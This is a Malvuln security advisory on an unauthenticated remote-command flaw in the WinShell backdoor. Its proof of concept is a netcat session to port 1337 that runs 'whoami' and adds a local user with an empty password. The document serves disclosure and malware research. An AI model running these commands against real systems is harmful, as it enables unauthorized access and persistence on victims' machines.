Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/911a97737bd26e2a478f52e74b4fa01d.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.WinShell.a
Vulnerability: Unauthenticated Remote Command Execution
Description: WinShell listens on TCP port 1337, third-party attackers who can reach the system can execute OS commands further compromising the already infected system.
Type: PE32
MD5: 911a97737bd26e2a478f52e74b4fa01d
Vuln ID: MVID-2021-0233
Disclosure: 05/30/2021


Exploit/PoC:
nc64.exe x.x.x.x 1337
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Victim\Desktop>whoami
whoami
desktop-3c2kqjo\victim

C:\Users\Victim\Desktop>net user hyp3rlinx "" /add
net user hyp3rlinx "" /add
The command completed successfully.

C:\Users\Victim\Desktop>net user hyp3rlinx
net user hyp3rlinx
User name                    hyp3rlinx
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            4/30/2021 2:42:58 AM
Password expires             Never
Password changeable          4/30/2021 2:42:58 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Users
Global Group memberships     *None
The command completed successfully.


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